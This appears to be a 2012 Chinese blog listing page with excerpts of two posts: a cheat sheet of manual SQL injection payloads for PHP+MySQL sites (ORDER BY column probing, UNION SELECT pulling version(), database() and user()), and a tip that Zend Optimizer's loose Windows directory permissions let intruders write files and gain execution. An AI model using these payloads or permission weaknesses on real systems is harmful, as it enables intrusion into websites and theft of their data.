随笔分类 -  .Temp

PHP+MySQL 手工注入语句大全
摘要：暴字段长度Order by num/*匹配字段and 1=1 union select 1,2,3,4,5…….n/*暴字段位置and 1=2 union select 1,2,3,4,5…..n/*利用内置函数暴数据库信息version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用):and 1=2 union all select version() /*and 1=2 union all select database() /*and 1=2 union all select user() /*操作系统信息：and 1=2 union all se 阅读全文
posted @ 2012-09-14 00:05 testjun 阅读(287) 评论(0) 推荐(0)
通过 Zend 目录权限不严获取执行权限
摘要：服务器上很多都装了 Zend 就算 C:\Program Files\ 设置过权限，安装Zend后，Zend 会自动配置目录的权限 C:\Program Files\Zend\ZendOptimizer-3.3.0\ 下的目录权限为 Everyone 全权,这导致入侵者能写入文件。 阅读全文
posted @ 2012-08-26 10:41 testjun 阅读(141) 评论(0) 推荐(0)